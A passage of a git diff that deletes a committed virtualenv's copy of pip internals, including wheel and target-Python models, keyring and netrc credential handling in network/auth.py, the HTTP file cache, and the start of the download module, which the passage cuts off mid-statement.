-            # For maximum compatibility with easy_install, ensure the path
-            # ends in a trailing slash.  Although this isn't in the spec
-            # (and PyPI can handle it without the slash) some other index
-            # implementations might break if they relied on easy_install's
-            # behavior.
-            if not loc.endswith("/"):
-                loc = loc + "/"
-            return loc
-
-        return [mkurl_pypi_url(url) for url in self.index_urls]
diff --git a/venv/Lib/site-packages/pip/_internal/models/selection_prefs.py b/venv/Lib/site-packages/pip/_internal/models/selection_prefs.py
deleted file mode 100644
index 3473031926fa8dd95d789874392d22871be07337..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/models/selection_prefs.py
+++ /dev/null
@@ -1,36 +0,0 @@
-from __future__ import annotations
-
-from dataclasses import dataclass
-
-from pip._internal.models.format_control import FormatControl
-from pip._internal.models.release_control import ReleaseControl
-
-
-@dataclass(slots=True)
-class SelectionPreferences:
-    """
-    Encapsulates the candidate selection preferences for downloading
-    and installing files.
-
-    :param allow_yanked: Whether files marked as yanked (in the sense
-        of PEP 592) are permitted to be candidates for install.
-    :param release_control: A ReleaseControl object or None. Used to control
-        whether pre-releases are allowed for specific packages.
-    :param format_control: A FormatControl object or None. Used to control
-        the selection of source packages / binary packages when consulting
-        the index and links.
-    :param prefer_binary: Whether to prefer an old, but valid, binary
-        dist over a new source dist.
-    :param ignore_requires_python: Whether to ignore incompatible
-        "Requires-Python" values in links. Defaults to False.
-    """
-
-    # Don't include an allow_yanked default value to make sure each call
-    # site considers whether yanked releases are allowed. This also causes
-    # that decision to be made explicit in the calling code, which helps
-    # people when reading the code.
-    allow_yanked: bool
-    release_control: ReleaseControl | None = None
-    format_control: FormatControl | None = None
-    prefer_binary: bool = False
-    ignore_requires_python: bool = False
diff --git a/venv/Lib/site-packages/pip/_internal/models/target_python.py b/venv/Lib/site-packages/pip/_internal/models/target_python.py
deleted file mode 100644
index 8c38392d8bbf21b2102123b87d67df86b94ddc5f..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/models/target_python.py
+++ /dev/null
@@ -1,122 +0,0 @@
-from __future__ import annotations
-
-import sys
-
-from pip._vendor.packaging.tags import Tag
-
-from pip._internal.utils.compatibility_tags import get_supported, version_info_to_nodot
-from pip._internal.utils.misc import normalize_version_info
-
-
-class TargetPython:
-    """
-    Encapsulates the properties of a Python interpreter one is targeting
-    for a package install, download, etc.
-    """
-
-    __slots__ = [
-        "_given_py_version_info",
-        "abis",
-        "implementation",
-        "platforms",
-        "py_version",
-        "py_version_info",
-        "_valid_tags",
-        "_valid_tags_set",
-    ]
-
-    def __init__(
-        self,
-        platforms: list[str] | None = None,
-        py_version_info: tuple[int, ...] | None = None,
-        abis: list[str] | None = None,
-        implementation: str | None = None,
-    ) -> None:
-        """
-        :param platforms: A list of strings or None. If None, searches for
-            packages that are supported by the current system. Otherwise, will
-            find packages that can be built on the platforms passed in. These
-            packages will only be downloaded for distribution: they will
-            not be built locally.
-        :param py_version_info: An optional tuple of ints representing the
-            Python version information to use (e.g. `sys.version_info[:3]`).
-            This can have length 1, 2, or 3 when provided.
-        :param abis: A list of strings or None. This is passed to
-            compatibility_tags.py's get_supported() function as is.
-        :param implementation: A string or None. This is passed to
-            compatibility_tags.py's get_supported() function as is.
-        """
-        # Store the given py_version_info for when we call get_supported().
-        self._given_py_version_info = py_version_info
-
-        if py_version_info is None:
-            py_version_info = sys.version_info[:3]
-        else:
-            py_version_info = normalize_version_info(py_version_info)
-
-        py_version = ".".join(map(str, py_version_info[:2]))
-
-        self.abis = abis
-        self.implementation = implementation
-        self.platforms = platforms
-        self.py_version = py_version
-        self.py_version_info = py_version_info
-
-        # This is used to cache the return value of get_(un)sorted_tags.
-        self._valid_tags: list[Tag] | None = None
-        self._valid_tags_set: set[Tag] | None = None
-
-    def format_given(self) -> str:
-        """
-        Format the given, non-None attributes for display.
-        """
-        display_version = None
-        if self._given_py_version_info is not None:
-            display_version = ".".join(
-                str(part) for part in self._given_py_version_info
-            )
-
-        key_values = [
-            ("platforms", self.platforms),
-            ("version_info", display_version),
-            ("abis", self.abis),
-            ("implementation", self.implementation),
-        ]
-        return " ".join(
-            f"{key}={value!r}" for key, value in key_values if value is not None
-        )
-
-    def get_sorted_tags(self) -> list[Tag]:
-        """
-        Return the supported PEP 425 tags to check wheel candidates against.
-
-        The tags are returned in order of preference (most preferred first).
-        """
-        if self._valid_tags is None:
-            # Pass versions=None if no py_version_info was given since
-            # versions=None uses special default logic.
-            py_version_info = self._given_py_version_info
-            if py_version_info is None:
-                version = None
-            else:
-                version = version_info_to_nodot(py_version_info)
-
-            tags = get_supported(
-                version=version,
-                platforms=self.platforms,
-                abis=self.abis,
-                impl=self.implementation,
-            )
-            self._valid_tags = tags
-
-        return self._valid_tags
-
-    def get_unsorted_tags(self) -> set[Tag]:
-        """Exactly the same as get_sorted_tags, but returns a set.
-
-        This is important for performance.
-        """
-        if self._valid_tags_set is None:
-            self._valid_tags_set = set(self.get_sorted_tags())
-
-        return self._valid_tags_set
diff --git a/venv/Lib/site-packages/pip/_internal/models/wheel.py b/venv/Lib/site-packages/pip/_internal/models/wheel.py
deleted file mode 100644
index fbd4902dc715f8b3753894a9703450d1b1089c18..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/models/wheel.py
+++ /dev/null
@@ -1,80 +0,0 @@
-"""Represents a wheel file and provides access to the various parts of the
-name that have meaning.
-"""
-
-from __future__ import annotations
-
-from collections.abc import Iterable
-
-from pip._vendor.packaging.tags import Tag
-from pip._vendor.packaging.utils import (
-    InvalidWheelFilename as _PackagingInvalidWheelFilename,
-)
-from pip._vendor.packaging.utils import parse_wheel_filename
-
-from pip._internal.exceptions import InvalidWheelFilename
-
-
-class Wheel:
-    """A wheel file"""
-
-    def __init__(self, filename: str) -> None:
-        self.filename = filename
-
-        try:
-            wheel_info = parse_wheel_filename(filename)
-        except _PackagingInvalidWheelFilename as e:
-            raise InvalidWheelFilename(e.args[0]) from None
-
-        self.name, _version, self.build_tag, self.file_tags = wheel_info
-        self.version = str(_version)
-
-    def get_formatted_file_tags(self) -> list[str]:
-        """Return the wheel's tags as a sorted list of strings."""
-        return sorted(str(tag) for tag in self.file_tags)
-
-    def support_index_min(self, tags: list[Tag]) -> int:
-        """Return the lowest index that one of the wheel's file_tag combinations
-        achieves in the given list of supported tags.
-
-        For example, if there are 8 supported tags and one of the file tags
-        is first in the list, then return 0.
-
-        :param tags: the PEP 425 tags to check the wheel against, in order
-            with most preferred first.
-
-        :raises ValueError: If none of the wheel's file tags match one of
-            the supported tags.
-        """
-        try:
-            return next(i for i, t in enumerate(tags) if t in self.file_tags)
-        except StopIteration:
-            raise ValueError()
-
-    def find_most_preferred_tag(
-        self, tags: list[Tag], tag_to_priority: dict[Tag, int]
-    ) -> int:
-        """Return the priority of the most preferred tag that one of the wheel's file
-        tag combinations achieves in the given list of supported tags using the given
-        tag_to_priority mapping, where lower priorities are more-preferred.
-
-        This is used in place of support_index_min in some cases in order to avoid
-        an expensive linear scan of a large list of tags.
-
-        :param tags: the PEP 425 tags to check the wheel against.
-        :param tag_to_priority: a mapping from tag to priority of that tag, where
-            lower is more preferred.
-
-        :raises ValueError: If none of the wheel's file tags match one of
-            the supported tags.
-        """
-        return min(
-            tag_to_priority[tag] for tag in self.file_tags if tag in tag_to_priority
-        )
-
-    def supported(self, tags: Iterable[Tag]) -> bool:
-        """Return whether the wheel is compatible with one of the given tags.
-
-        :param tags: the PEP 425 tags to check the wheel against.
-        """
-        return not self.file_tags.isdisjoint(tags)
diff --git a/venv/Lib/site-packages/pip/_internal/network/__init__.py b/venv/Lib/site-packages/pip/_internal/network/__init__.py
deleted file mode 100644
index 0ae1f5626bca4f0a8cc6532b0d20b2e43039b1c6..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/network/__init__.py
+++ /dev/null
@@ -1 +0,0 @@
-"""Contains purely network-related utilities."""
diff --git a/venv/Lib/site-packages/pip/_internal/network/auth.py b/venv/Lib/site-packages/pip/_internal/network/auth.py
deleted file mode 100644
index 99b929a9f1780e0b0c725a42355679a191478276..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/network/auth.py
+++ /dev/null
@@ -1,587 +0,0 @@
-"""Network Authentication Helpers
-
-Contains interface (MultiDomainBasicAuth) and associated glue code for
-providing credentials in the context of network requests.
-"""
-
-from __future__ import annotations
-
-import json
-import logging
-import os
-import shutil
-import subprocess
-import sysconfig
-import typing
-import urllib.parse
-from abc import ABC, abstractmethod
-from functools import cache
-from os.path import commonpath
-from pathlib import Path
-from typing import Any, NamedTuple
-
-from pip._vendor.requests.auth import AuthBase, HTTPBasicAuth
-from pip._vendor.requests.utils import get_netrc_auth
-
-from pip._internal.utils.logging import getLogger
-from pip._internal.utils.misc import (
-    ask,
-    ask_input,
-    ask_password,
-    remove_auth_from_url,
-    split_auth_netloc_from_url,
-)
-from pip._internal.vcs.versioncontrol import AuthInfo
-
-if typing.TYPE_CHECKING:
-    from pip._vendor.requests import PreparedRequest
-    from pip._vendor.requests.models import Response
-
-logger = getLogger(__name__)
-
-KEYRING_DISABLED = False
-
-
-class Credentials(NamedTuple):
-    url: str
-    username: str
-    password: str
-
-
-class KeyRingBaseProvider(ABC):
-    """Keyring base provider interface"""
-
-    has_keyring: bool
-
-    @abstractmethod
-    def get_auth_info(self, url: str, username: str | None) -> AuthInfo | None: ...
-
-    @abstractmethod
-    def save_auth_info(self, url: str, username: str, password: str) -> None: ...
-
-
-class KeyRingNullProvider(KeyRingBaseProvider):
-    """Keyring null provider"""
-
-    has_keyring = False
-
-    def get_auth_info(self, url: str, username: str | None) -> AuthInfo | None:
-        return None
-
-    def save_auth_info(self, url: str, username: str, password: str) -> None:
-        return None
-
-
-class KeyRingPythonProvider(KeyRingBaseProvider):
-    """Keyring interface which uses locally imported `keyring`"""
-
-    has_keyring = True
-
-    def __init__(self) -> None:
-        import keyring
-
-        self.keyring = keyring
-
-    def get_auth_info(self, url: str, username: str | None) -> AuthInfo | None:
-        # Support keyring's get_credential interface which supports getting
-        # credentials without a username. This is only available for
-        # keyring>=15.2.0.
-        if hasattr(self.keyring, "get_credential"):
-            logger.debug("Getting credentials from keyring for %s", url)
-            cred = self.keyring.get_credential(url, username)
-            if cred is not None:
-                return cred.username, cred.password
-            return None
-
-        if username is not None:
-            logger.debug("Getting password from keyring for %s", url)
-            password = self.keyring.get_password(url, username)
-            if password:
-                return username, password
-        return None
-
-    def save_auth_info(self, url: str, username: str, password: str) -> None:
-        self.keyring.set_password(url, username, password)
-
-
-class KeyRingCliProvider(KeyRingBaseProvider):
-    """Provider which uses `keyring` cli
-
-    Instead of calling the keyring package installed alongside pip
-    we call keyring on the command line which will enable pip to
-    use which ever installation of keyring is available first in
-    PATH.
-    """
-
-    has_keyring = True
-
-    def __init__(self, cmd: str) -> None:
-        self.keyring = cmd
-
-    def get_auth_info(self, url: str, username: str | None) -> AuthInfo | None:
-        return self._get_creds(url, username)
-
-    def save_auth_info(self, url: str, username: str, password: str) -> None:
-        return self._set_password(url, username, password)
-
-    def _get_creds(self, service_name: str, username: str | None) -> AuthInfo | None:
-        """Mirror the implementation of keyring.get_credential using cli"""
-        if self.keyring is None:
-            return None
-
-        cmd = [self.keyring, "--mode=creds", "--output=json", "get", service_name]
-        if username is not None:
-            cmd.append(username)
-
-        env = os.environ.copy()
-        env["PYTHONIOENCODING"] = "utf-8"
-        res = subprocess.run(  # noqa: UP022
-            cmd,
-            stdin=subprocess.DEVNULL,
-            stdout=subprocess.PIPE,
-            stderr=subprocess.PIPE,
-            env=env,
-        )
-
-        # Detect if the user is running an outdated version of keyring without support
-        # for querying credentials without username
-        errs = res.stderr.decode("utf-8")
-        if (
-            res.returncode == 2
-            and "unrecognized arguments" in errs
-            and "--mode=creds" in errs
-        ):
-            raise RuntimeError(
-                "Keyring util is outdated; must be at least version 25.2.1, "
-                "please upgrade it"
-            )
-
-        if res.returncode:
-            return None
-
-        data = json.loads(res.stdout.decode("utf-8"))
-        return (data["username"], data["password"])
-
-    def _set_password(self, service_name: str, username: str, password: str) -> None:
-        """Mirror the implementation of keyring.set_password using cli"""
-        if self.keyring is None:
-            return None
-        env = os.environ.copy()
-        env["PYTHONIOENCODING"] = "utf-8"
-        subprocess.run(
-            [self.keyring, "set", service_name, username],
-            input=f"{password}{os.linesep}".encode(),
-            env=env,
-            check=True,
-        )
-        return None
-
-
-@cache
-def get_keyring_provider(provider: str) -> KeyRingBaseProvider:
-    logger.verbose("Keyring provider requested: %s", provider)
-
-    # keyring has previously failed and been disabled
-    if KEYRING_DISABLED:
-        provider = "disabled"
-    if provider in ["import", "auto"]:
-        try:
-            impl = KeyRingPythonProvider()
-            logger.verbose("Keyring provider set: import")
-            return impl
-        except ImportError:
-            pass
-        except Exception as exc:
-            # In the event of an unexpected exception
-            # we should warn the user
-            msg = "Installed copy of keyring fails with exception %s"
-            if provider == "auto":
-                msg = msg + ", trying to find a keyring executable as a fallback"
-            logger.warning(msg, exc, exc_info=logger.isEnabledFor(logging.DEBUG))
-    if provider in ["subprocess", "auto"]:
-        cli = shutil.which("keyring")
-        if cli and cli.startswith(sysconfig.get_path("scripts")):
-            # all code within this function is stolen from shutil.which implementation
-            @typing.no_type_check
-            def PATH_as_shutil_which_determines_it() -> str:
-                path = os.environ.get("PATH", None)
-                if path is None:
-                    try:
-                        path = os.confstr("CS_PATH")
-                    except (AttributeError, ValueError):
-                        # os.confstr() or CS_PATH is not available
-                        path = os.defpath
-                # bpo-35755: Don't use os.defpath if the PATH environment variable is
-                # set to an empty string
-
-                return path
-
-            scripts = Path(sysconfig.get_path("scripts"))
-
-            paths = []
-            for path in PATH_as_shutil_which_determines_it().split(os.pathsep):
-                p = Path(path)
-                try:
-                    if not p.samefile(scripts):
-                        paths.append(path)
-                except FileNotFoundError:
-                    pass
-
-            path = os.pathsep.join(paths)
-
-            cli = shutil.which("keyring", path=path)
-
-        if cli:
-            logger.verbose("Keyring provider set: subprocess with executable %s", cli)
-            return KeyRingCliProvider(cli)
-
-    logger.verbose("Keyring provider set: disabled")
-    return KeyRingNullProvider()
-
-
-class MultiDomainBasicAuth(AuthBase):
-    def __init__(
-        self,
-        prompting: bool = True,
-        index_urls: list[str] | None = None,
-        keyring_provider: str = "auto",
-    ) -> None:
-        self.prompting = prompting
-        self.index_urls = index_urls
-        self.keyring_provider = keyring_provider
-        self.passwords: dict[str, AuthInfo] = {}
-        # When the user is prompted to enter credentials and keyring is
-        # available, we will offer to save them. If the user accepts,
-        # this value is set to the credentials they entered. After the
-        # request authenticates, the caller should call
-        # ``save_credentials`` to save these.
-        self._credentials_to_save: Credentials | None = None
-
-    @property
-    def keyring_provider(self) -> KeyRingBaseProvider:
-        return get_keyring_provider(self._keyring_provider)
-
-    @keyring_provider.setter
-    def keyring_provider(self, provider: str) -> None:
-        # The free function get_keyring_provider has been decorated with
-        # functools.cache. If an exception occurs in get_keyring_auth that
-        # cache will be cleared and keyring disabled, take that into account
-        # if you want to remove this indirection.
-        self._keyring_provider = provider
-
-    @property
-    def use_keyring(self) -> bool:
-        # We won't use keyring when --no-input is passed unless
-        # a specific provider is requested because it might require
-        # user interaction
-        return self.prompting or self._keyring_provider not in ["auto", "disabled"]
-
-    def _get_keyring_auth(
-        self,
-        url: str | None,
-        username: str | None,
-    ) -> AuthInfo | None:
-        """Return the tuple auth for a given url from keyring."""
-        # Do nothing if no url was provided
-        if not url:
-            return None
-
-        try:
-            return self.keyring_provider.get_auth_info(url, username)
-        except Exception as exc:
-            # Log the full exception (with stacktrace) at debug, so it'll only
-            # show up when running in verbose mode.
-            logger.debug("Keyring is skipped due to an exception", exc_info=True)
-            # Always log a shortened version of the exception.
-            logger.warning(
-                "Keyring is skipped due to an exception: %s",
-                str(exc),
-            )
-            global KEYRING_DISABLED
-            KEYRING_DISABLED = True
-            get_keyring_provider.cache_clear()
-            return None
-
-    def _get_index_url(self, url: str) -> str | None:
-        """Return the original index URL matching the requested URL.
-
-        Cached or dynamically generated credentials may work against
-        the original index URL rather than just the netloc.
-
-        The provided url should have had its username and password
-        removed already. If the original index url had credentials then
-        they will be included in the return value.
-
-        Returns None if no matching index was found, or if --no-index
-        was specified by the user.
-        """
-        if not url or not self.index_urls:
-            return None
-
-        url = remove_auth_from_url(url).rstrip("/") + "/"
-        parsed_url = urllib.parse.urlsplit(url)
-
-        candidates = []
-
-        for index in self.index_urls:
-            index = index.rstrip("/") + "/"
-            parsed_index = urllib.parse.urlsplit(remove_auth_from_url(index))
-            if parsed_url == parsed_index:
-                return index
-
-            if parsed_url.netloc != parsed_index.netloc:
-                continue
-
-            candidate = urllib.parse.urlsplit(index)
-            candidates.append(candidate)
-
-        if not candidates:
-            return None
-
-        candidates.sort(
-            reverse=True,
-            key=lambda candidate: len(
-                commonpath(
-                    [
-                        parsed_url.path,
-                        candidate.path,
-                    ]
-                )
-            ),
-        )
-
-        return urllib.parse.urlunsplit(candidates[0])
-
-    def _get_new_credentials(
-        self,
-        original_url: str,
-        *,
-        allow_netrc: bool = True,
-        allow_keyring: bool = False,
-    ) -> AuthInfo:
-        """Find and return credentials for the specified URL."""
-        # Split the credentials and netloc from the url.
-        url, netloc, url_user_password = split_auth_netloc_from_url(
-            original_url,
-        )
-
-        # Start with the credentials embedded in the url
-        username, password = url_user_password
-        if username is not None and password is not None:
-            logger.debug("Found credentials in url for %s", netloc)
-            return url_user_password
-
-        # Find a matching index url for this request
-        index_url = self._get_index_url(url)
-        if index_url:
-            # Split the credentials from the url.
-            index_info = split_auth_netloc_from_url(index_url)
-            if index_info:
-                index_url, _, index_url_user_password = index_info
-                logger.debug("Found index url %s", index_url)
-
-        # If an index URL was found, try its embedded credentials
-        if index_url and index_url_user_password[0] is not None:
-            username, password = index_url_user_password
-            if username is not None and password is not None:
-                logger.debug("Found credentials in index url for %s", netloc)
-                return index_url_user_password
-
-        # Get creds from netrc if we still don't have them
-        if allow_netrc:
-            netrc_auth = get_netrc_auth(original_url)
-            if netrc_auth:
-                logger.debug("Found credentials in netrc for %s", netloc)
-                return netrc_auth
-
-        # If we don't have a password and keyring is available, use it.
-        if allow_keyring:
-            # The index url is more specific than the netloc, so try it first
-            # fmt: off
-            kr_auth = (
-                self._get_keyring_auth(index_url, username) or
-                self._get_keyring_auth(netloc, username)
-            )
-            # fmt: on
-            if kr_auth:
-                logger.debug("Found credentials in keyring for %s", netloc)
-                return kr_auth
-
-        return username, password
-
-    def _get_url_and_credentials(
-        self, original_url: str
-    ) -> tuple[str, str | None, str | None]:
-        """Return the credentials to use for the provided URL.
-
-        If allowed, netrc and keyring may be used to obtain the
-        correct credentials.
-
-        Returns (url_without_credentials, username, password). Note
-        that even if the original URL contains credentials, this
-        function may return a different username and password.
-        """
-        url, netloc, _ = split_auth_netloc_from_url(original_url)
-
-        # Try to get credentials from original url
-        username, password = self._get_new_credentials(original_url)
-
-        # If credentials not found, use any stored credentials for this netloc.
-        # Do this if either the username or the password is missing.
-        # This accounts for the situation in which the user has specified
-        # the username in the index url, but the password comes from keyring.
-        if (username is None or password is None) and netloc in self.passwords:
-            un, pw = self.passwords[netloc]
-            # It is possible that the cached credentials are for a different username,
-            # in which case the cache should be ignored.
-            if username is None or username == un:
-                username, password = un, pw
-
-        if username is not None or password is not None:
-            # Convert the username and password if they're None, so that
-            # this netloc will show up as "cached" in the conditional above.
-            # Further, HTTPBasicAuth doesn't accept None, so it makes sense to
-            # cache the value that is going to be used.
-            username = username or ""
-            password = password or ""
-
-            # Store any acquired credentials.
-            self.passwords[netloc] = (username, password)
-
-        assert (
-            # Credentials were found
-            (username is not None and password is not None)
-            # Credentials were not found
-            or (username is None and password is None)
-        ), f"Could not load credentials from url: {original_url}"
-
-        return url, username, password
-
-    def __call__(self, req: PreparedRequest) -> PreparedRequest:
-        # Get credentials for this request
-        assert req.url is not None
-        url, username, password = self._get_url_and_credentials(req.url)
-
-        # Set the url of the request to the url without any credentials
-        req.url = url
-
-        if username is not None and password is not None:
-            # Send the basic auth with this request
-            req = HTTPBasicAuth(username, password)(req)
-
-        # Attach a hook to handle 401 responses
-        req.register_hook("response", self.handle_401)
-
-        return req
-
-    # Factored out to allow for easy patching in tests
-    def _prompt_for_password(self, netloc: str) -> tuple[str | None, str | None, bool]:
-        username = ask_input(f"User for {netloc}: ") if self.prompting else None
-        if not username:
-            return None, None, False
-        if self.use_keyring:
-            auth = self._get_keyring_auth(netloc, username)
-            if auth and auth[0] is not None and auth[1] is not None:
-                return auth[0], auth[1], False
-        password = ask_password("Password: ")
-        return username, password, True
-
-    # Factored out to allow for easy patching in tests
-    def _should_save_password_to_keyring(self) -> bool:
-        if (
-            not self.prompting
-            or not self.use_keyring
-            or not self.keyring_provider.has_keyring
-        ):
-            return False
-        return ask("Save credentials to keyring [y/N]: ", ["y", "n"]) == "y"
-
-    def handle_401(self, resp: Response, **kwargs: Any) -> Response:
-        # We only care about 401 responses, anything else we want to just
-        #   pass through the actual response
-        if resp.status_code != 401:
-            return resp
-
-        # Look for credentials for the (possibly redirected) URL. Credentials
-        # embedded in the URL -- e.g. carried in the ``Location`` of a
-        # cross-origin redirect, whose ``Authorization`` header requests strips
-        # -- are always honoured, since recovering them needs no user
-        # interaction. Keyring is only consulted when it is enabled, because it
-        # may require interaction and is therefore disabled under --no-input.
-        username, password = self._get_new_credentials(
-            resp.url,
-            allow_netrc=False,
-            allow_keyring=self.use_keyring,
-        )
-
-        # We are not able to prompt the user so simply return the response
-        if not self.prompting and not username and not password:
-            return resp
-
-        parsed = urllib.parse.urlparse(resp.url)
-
-        # Prompt the user for a new username and password
-        save = False
-        if not username and not password:
-            username, password, save = self._prompt_for_password(parsed.netloc)
-
-        # Store the new username and password to use for future requests
-        self._credentials_to_save = None
-        if username is not None and password is not None:
-            self.passwords[parsed.netloc] = (username, password)
-
-            # Prompt to save the password to keyring
-            if save and self._should_save_password_to_keyring():
-                self._credentials_to_save = Credentials(
-                    url=parsed.netloc,
-                    username=username,
-                    password=password,
-                )
-
-        # Consume content and release the original connection to allow our new
-        #   request to reuse the same one.
-        # The result of the assignment isn't used, it's just needed to consume
-        # the content.
-        _ = resp.content
-        resp.raw.release_conn()
-
-        # Add our new username and password to the request
-        req = HTTPBasicAuth(username or "", password or "")(resp.request)
-        req.register_hook("response", self.warn_on_401)
-
-        # On successful request, save the credentials that were used to
-        # keyring. (Note that if the user responded "no" above, this member
-        # is not set and nothing will be saved.)
-        if self._credentials_to_save:
-            req.register_hook("response", self.save_credentials)
-
-        # Send our new request
-        new_resp = resp.connection.send(req, **kwargs)
-        new_resp.history.append(resp)
-
-        return new_resp
-
-    def warn_on_401(self, resp: Response, **kwargs: Any) -> None:
-        """Response callback to warn about incorrect credentials."""
-        if resp.status_code == 401:
-            logger.warning(
-                "401 Error, Credentials not correct for %s",
-                resp.request.url,
-            )
-
-    def save_credentials(self, resp: Response, **kwargs: Any) -> None:
-        """Response callback to save credentials on success."""
-        assert (
-            self.keyring_provider.has_keyring
-        ), "should never reach here without keyring"
-
-        creds = self._credentials_to_save
-        self._credentials_to_save = None
-        if creds and resp.status_code < 400:
-            try:
-                logger.info("Saving credentials to keyring")
-                self.keyring_provider.save_auth_info(
-                    creds.url, creds.username, creds.password
-                )
-            except Exception:
-                logger.exception("Failed to save credentials")
diff --git a/venv/Lib/site-packages/pip/_internal/network/cache.py b/venv/Lib/site-packages/pip/_internal/network/cache.py
deleted file mode 100644
index bff9707a0c95cb351d104696f3c40d53a7234fa5..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/network/cache.py
+++ /dev/null
@@ -1,128 +0,0 @@
-"""HTTP cache implementation."""
-
-from __future__ import annotations
-
-import os
-import shutil
-from collections.abc import Callable, Generator
-from contextlib import contextmanager
-from datetime import datetime
-from typing import Any, BinaryIO
-
-from pip._vendor.cachecontrol.cache import SeparateBodyBaseCache
-from pip._vendor.cachecontrol.caches import SeparateBodyFileCache
-from pip._vendor.requests.models import Response
-
-from pip._internal.utils.filesystem import (
-    adjacent_tmp_file,
-    copy_directory_permissions,
-    replace,
-)
-from pip._internal.utils.misc import ensure_dir
-
-
-def is_from_cache(response: Response) -> bool:
-    return getattr(response, "from_cache", False)
-
-
-@contextmanager
-def suppressed_cache_errors() -> Generator[None, None, None]:
-    """If we can't access the cache then we can just skip caching and process
-    requests as if caching wasn't enabled.
-    """
-    try:
-        yield
-    except OSError:
-        pass
-
-
-class SafeFileCache(SeparateBodyBaseCache):
-    """
-    A file based cache which is safe to use even when the target directory may
-    not be accessible or writable.
-
-    There is a race condition when two processes try to write and/or read the
-    same entry at the same time, since each entry consists of two separate
-    files (https://github.com/psf/cachecontrol/issues/324).  We therefore have
-    additional logic that makes sure that both files to be present before
-    returning an entry; this fixes the read side of the race condition.
-
-    For the write side, we assume that the server will only ever return the
-    same data for the same URL, which ought to be the case for files pip is
-    downloading.  PyPI does not have a mechanism to swap out a wheel for
-    another wheel, for example.  If this assumption is not true, the
-    CacheControl issue will need to be fixed.
-    """
-
-    def __init__(self, directory: str) -> None:
-        assert directory is not None, "Cache directory must not be None."
-        super().__init__()
-        self.directory = directory
-
-    def _get_cache_path(self, name: str) -> str:
-        # From cachecontrol.caches.file_cache.FileCache._fn, brought into our
-        # class for backwards-compatibility and to avoid using a non-public
-        # method.
-        hashed = SeparateBodyFileCache.encode(name)
-        parts = list(hashed[:5]) + [hashed]
-        return os.path.join(self.directory, *parts)
-
-    def get(self, key: str) -> bytes | None:
-        # The cache entry is only valid if both metadata and body exist.
-        metadata_path = self._get_cache_path(key)
-        body_path = metadata_path + ".body"
-        if not (os.path.exists(metadata_path) and os.path.exists(body_path)):
-            return None
-        with suppressed_cache_errors():
-            with open(metadata_path, "rb") as f:
-                return f.read()
-
-    def _write_to_file(self, path: str, writer_func: Callable[[BinaryIO], Any]) -> None:
-        """Common file writing logic with proper permissions and atomic replacement."""
-        with suppressed_cache_errors():
-            ensure_dir(os.path.dirname(path))
-
-            with adjacent_tmp_file(path) as f:
-                writer_func(f)
-                # Inherit the read/write permissions of the cache directory
-                # to enable multi-user cache use-cases.
-                copy_directory_permissions(self.directory, f)
-
-            replace(f.name, path)
-
-    def _write(self, path: str, data: bytes) -> None:
-        self._write_to_file(path, lambda f: f.write(data))
-
-    def _write_from_io(self, path: str, source_file: BinaryIO) -> None:
-        self._write_to_file(path, lambda f: shutil.copyfileobj(source_file, f))
-
-    def set(
-        self, key: str, value: bytes, expires: int | datetime | None = None
-    ) -> None:
-        path = self._get_cache_path(key)
-        self._write(path, value)
-
-    def delete(self, key: str) -> None:
-        path = self._get_cache_path(key)
-        with suppressed_cache_errors():
-            os.remove(path)
-        with suppressed_cache_errors():
-            os.remove(path + ".body")
-
-    def get_body(self, key: str) -> BinaryIO | None:
-        # The cache entry is only valid if both metadata and body exist.
-        metadata_path = self._get_cache_path(key)
-        body_path = metadata_path + ".body"
-        if not (os.path.exists(metadata_path) and os.path.exists(body_path)):
-            return None
-        with suppressed_cache_errors():
-            return open(body_path, "rb")
-
-    def set_body(self, key: str, body: bytes) -> None:
-        path = self._get_cache_path(key) + ".body"
-        self._write(path, body)
-
-    def set_body_from_io(self, key: str, body_file: BinaryIO) -> None:
-        """Set the body of the cache entry from a file object."""
-        path = self._get_cache_path(key) + ".body"
-        self._write_from_io(path, body_file)
diff --git a/venv/Lib/site-packages/pip/_internal/network/download.py b/venv/Lib/site-packages/pip/_internal/network/download.py
deleted file mode 100644
index 521abb76a992f87631bfee32e5e0e3fa5e21447d..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/network/download.py
+++ /dev/null
@@ -1,387 +0,0 @@
-"""Download files with progress indicators."""
-
-from __future__ import annotations
-
-import email.message
-import logging
-import mimetypes
-import os
-from collections.abc import Iterable, Mapping
-from dataclasses import dataclass
-from http import HTTPStatus
-from typing import BinaryIO
-
-from pip._vendor.requests import PreparedRequest
-from pip._vendor.requests.models import Response
-from pip._vendor.urllib3 import HTTPResponse as URLlib3Response
-from pip._vendor.urllib3._collections import HTTPHeaderDict
-from pip._vendor.urllib3.exceptions import ProtocolError, ReadTimeoutError
-
-from pip._internal.cli.progress_bars import BarType, get_download_progress_renderer
-from pip._internal.exceptions import (
-    ConnectionFailedError,
-    ConnectionTimeoutError,
-    IncompleteDownloadError,
-    NetworkConnectionError,
-    ProxyConnectionError,
-    SSLVerificationError,
-)
-from pip._internal.models.link import (
-    Link,
-    PathComponent,
-    as_path_component,
-    join_within_directory,
-)
-from pip._internal.network.cache import SafeFileCache, is_from_cache
-from pip._internal.network.session import CacheControlAdapter, PipSession
-from pip._internal.network.utils import HEADERS, raise_for_status, response_chunks
-from pip._internal.utils.misc import format_size, redact_auth_from_url, splitext
-
-logger = logging.getLogger(__name__)
-
-
-def _get_http_response_size(resp: Response) -> int | None:
-    try:
-        size = int(resp.headers["content-length"])
-    except (ValueError, KeyError, TypeError):
-        return None
-    # A negative length would make _FileDownload.is_incomplete() report a
-    # truncated download as complete, so treat it as unknown instead.
-    if size < 0:
-        return None
-    return size
-
-
-def _get_http_response_etag_or_last_modified(resp: Response) -> str | None:
-    """
-    Return either the ETag or Last-Modified header (or None if neither exists).
-    The return value can be used in an If-Range header.
-    """
-    return resp.headers.get("etag", resp.headers.get("last-modified"))
-
-
-def _log_download(
-    resp: Response,
-    link: Link,
-    progress_bar: BarType,
-    total_length: int | None,
-    range_start: int | None = 0,
-) -> Iterable[bytes]:
-    if logger.getEffectiveLevel() > logging.INFO:
-        url = link.url_without_fragment
-    else:
-        url = link.show_url
-
-    logged_url = redact_auth_from_url(url)
-
-    if total_length:
-        if range_start:
-            logged_url = (
